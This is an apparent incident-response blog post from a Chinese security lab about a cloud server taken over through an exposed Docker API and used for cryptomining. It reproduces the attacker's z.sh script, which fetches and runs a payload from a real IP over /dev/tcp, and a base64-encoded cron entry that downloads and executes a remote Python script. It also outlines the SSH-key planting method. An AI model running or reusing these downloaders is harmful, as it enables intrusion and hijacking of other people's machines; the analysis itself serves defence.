出品|MS08067实验室(www.ms08067.com)

本文作者:500(Ms08067实验室成员)

500微信(欢迎骚扰交流):

一、事件起因

上周想着部署一个分布式文件系统,我就在阿里云上申请了一台机器,部署了docker并安装Simpledfs,可不想刚云主机刚配置没两天,就发现机器的cpu使用率飙升,控制台各种告警。登录上去先看top一下看看系统的状况,发现这个bash脚本几乎占用了全部cup,估计是被黑了。

我赶紧去查看机器历史操作,通过history命令查看历史操作,发现内容已经被清空,日志文件也全部被清空,并且docker服务也被关闭了。

经过排查发现,这台机器开放了ssh服务22端口、本地smtp25端口、sshd守护进程222端口,以及docker服务的端口。对外暴露了ssh,第一个想到的就是先查看一下ssh的版本。

查看该版本中有哪些漏洞可能被攻击者利用,排查了可能被利用的OpenSSH 安全认证绕过漏洞(CVE-2016-10012)、SSH登陆验证绕过漏洞(cve-2018-10933)等漏洞的利用方法,但并没有发现可直接利用并获取到root权限的方法。

那么攻击者有没有可能利用docker的漏洞,然后从容器中逃逸出来呢?这时我想到了docker remote API未授权访问漏洞,攻击者可以利用docker API 2375端口,通过接口执行容器命令。然后将/root/.ssh目录挂载到容器内,进而把ssh公钥写入进去,修改权限为600,然后就可以以root用户登录了。

参考http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/

二、我们来看看攻击者做了哪些操作

1、攻击者创建了一个新的账号,查看

/etc/passwd文件,发现新增了一个用户tech,创建的时间是22:12

tech:x:1000:1000::/home/tech:/bin/bash

2、攻击者将tech用户加入到wheel组,并且修改了/etc/sudoers文件。(这个文件的权限被篡改过,应该是先加上了写权限,篡改完成后又改回了440权限,并配置了wheel组用户使用sudo到root时不需要输入密码。)

3、随后攻击者下载了工具集busybox,被阿里云侦测到。

4、攻击者将根目录换成指定的目录,

chroot /mnt /bin/sh -c cd /opt/

并写入z.sh,

echo '#!/bin/bash' > z.sh
echo 'read proto server path<<<$(echo ${1 })' >> z.sh
echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
echo '(while read line; do' >> z.sh
echo '[[ "$line" ==$'\''\r'"'"' ]] && break' >> z.sh
echo 'done && cat) <&3'>> z.sh
echo 'exec 3>&-' >> z.sh
bash z.sh zz.sh > zz.sh ; bash zz.sh
rm -rf zz.sh

其中里面包含了一个ip地址,威胁情报信息如下:

在系统的opt目录下,果然存在z.sh

#!/bin/bash
read proto server path <<<$(echo${1 })
exec 3<>/dev/tcp/42.51.64.146/443
echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] &&break
done && cat) <&3
exec 3>&-

5、攻击者尝试写入后门程序,进行权限维持/usr/sbin/stable 但阿里云盾拦截了该后门程序。

6、22点14分至22点47分这段时间,攻击者kill掉了阿里云盾的防护,并下载挖矿程序。这个过程由于阿里云盾下线,日志被清理。未获取到更多信息。

7、随后,攻击者下载了挖矿程序并进行了安装。在/root/.ssh中出现了xmrig和config.json文件,时间是22:49

Xmirg是一款比特币挖矿软件,可以通过匹配到的矿池内容修改相应的config.json文件。

参考

https://www.dxpool.com/help/zh/kva-mining-tutorial

8、在usr/bin中发现了运行着的bash脚本,应该是运行全套挖矿程序的脚步程序。

查看下Bash脚本的运行状态以及网络连接情况

9、至此攻击者还不满足,他还替换了计划任务文件,设置挖矿的计划任务。

修改了/etc/ssh/sshd_config、/etc/cron.d、/etc/cron.hourly等计划任务文件。

/var/spool/cron/root中的内容如下:

*/2 * * * * pkill tail >/dev/null2>&1
*/2 * * * * pkill masscan >/dev/null2>&1
# https://anonpasta.rocks/raw/atucewakep
# 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特币钱包地址)

10、最后,攻击者将系统的日志文件全部删除,包括

/var/log/cron、/var/log/secure、/var/log/messages、/var/log/maillog、/var/log/spooler等。

三、总结

随着数字货币价格的上涨,越来越多的攻击者开始利用系统漏洞进行挖矿,攻击者操作老练,思路清晰,一看就是做过多年的老手了。

大家要加强安全意识,不要将危险端口暴露在公网,及时更新系统组件,并升级安全补丁。

花絮:下面的视频请大家帮忙关注点赞,以获取微信定制红包封皮发给大家!谢谢!

扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!

 

 

目前35000+人已关注加入我们

一次悲惨的被挖矿经历相关推荐

  1. 了解区块链,从挖矿开始

    2014年那一阵,花了些钱,买了4块R9 290X显卡组装了一个台式机,准备挖莱特币,由于家人的反对,一直没有开机,后来嫌占地方(买不到大电源,买了两个电源,因此得用大机箱,这样一来,标准idc机柜放 ...

  2. BTA | 康烁:基于linux的挖矿操作系统

    2018年3月30-31日,由CSDN.火星财经主办,中关村区块链产业联盟.柏链教育.区块链大本营.TokenSky联合主办的2018 区块链技术及应用峰会(BTA)在北京盛大召开.本次大会聚焦区块链 ...

  3. 年轻人原地过年,也不忘搞钱

    来源 | 深燃(shenrancaijing) 作者 | 金玙璠 编辑 | 魏佳 "是需要猫咪上门喂养服务咩?" 第一次留在广州过年的陶乐计划在春节假期赚笔小钱,为外出的铲屎官照顾 ...

  4. 巴比特MatPool运营NEO节点,2019年必定是 Staking 经济元年

    作者 | 王佳健 经济学中有个概念叫"荷塘效应",大意是说假设第一天池塘里有一片荷叶,第二天长出两片,第三天长出四片--到某一时间点,荷叶会掩盖半个池塘.而只需再过一天,整个池塘都 ...

  5. 区块链,屌丝逆袭的最后机会

    区块链,屌丝逆袭的最后机会 转载声明 本文大量内容系转载自以下文章,有删改,并参考其他文档资料加入了一些内容: 区块链,屌丝逆袭的最后机会 作者:小管 转载仅为方便学习查看,一切权利属于原作者,本人只 ...

  6. 外迁、关停,“矿都”四川正遇最强监管

    一年 40 亿弃水电,为何不能分给矿工用? 文 | 雪姣  运营 | 盖遥  编辑 | 卢晓明 出品 | Odaily星球日报(ID:o-daily) 比特币"矿都"在四川,而四川 ...

  7. 个人对大数据个性化推荐的理解

    一.写在之前的题外话 缘起. 想起要写这篇文章,一方面是昨天终于把项亮写的<推荐系统实践>给看完了,另一方面是自己负责的推荐系统项目已经处于一个多版本迭代的阶段了,并且从最近的AB测试效果 ...

  8. 《区块链100问》1-50集

    原视频来自:http://tech.sina.com.cn/zt_d/blockchain_100/ 第51-90:https://blog.csdn.net/luohai859/article/de ...

  9. 从A到Z, 这份区块链术语词典据说80%的人都认不全 | 科普

    来源 | Blockgeeks 编译 | Guoxi 出品 | 区块链大本营(blockchain_camp) 人们常说,种一棵树最好的时间是十年前,其次是现在.学习区块链也是一样,只要你肯下功夫,什 ...

最新文章

  1. 如何理解物体的6D位姿估计任务?
  2. 川大网络教育2013秋《计算机应用基础》第二次作业,2013秋川大网教《计算机应用基础》第一、二次作业及答案解析.doc...
  3. [Objective-C]OC中字典基本概念和常用方法(NSDictionary和NSMutableDictionary)
  4. 实时流处理系统容错机制(二):Apache Flink 基于State的异步容错机制
  5. python递归出口怎么写_Python进阶 —— 递归
  6. python中函数的括号使用
  7. 大数据WEB阶段(十八)数据库事务
  8. Lie to me不错
  9. 编写并调试一个单道处理系统的作业调度模拟程序_操作系统系列(2):操作系统发展历史...
  10. linux下搭建nagios监控
  11. 安卓学习第一课——电话拨号器
  12. python几个版本的区别-Python的这几个版本不同
  13. 深入浅出MFC学习笔记
  14. kafka搭建、学习(一)
  15. 苹果手机录屏软件_手机端录屏软件哪个好 手机上最好的录屏软件
  16. Sentaurus入门(1):工艺仿真
  17. EXP-00091: Exporting questionable statistics.问题解决!(转)
  18. 《欧洲文学名著导读》——读书笔记
  19. Python+Turtle 魔法阵效果(简陋)
  20. 热电冷磁之牛顿的三棱镜谭:围棋之C++

热门文章

  1. 基于JAVA后台的微信垃圾分类小程序系统 开题报告
  2. SWM32系列教程2-新建工程
  3. 什么是服务器未响应手机,手机服务器未响应
  4. html 实时曲线 js,基于d3.js实现实时刷新的折线图
  5. windows Outlook邮箱无法连接服务器
  6. 北京上市公司招聘.net架构师及开发人员
  7. Scikit-learn实战之最近邻算法
  8. slotformatcombinations_向未授权频谱中的小区应用时隙格式指示的方法和设备与流程...
  9. jQuery 鼠标悬停时放大图片的效果
  10. 桂 林 理 工 大 学实 验 报 告实验五 数组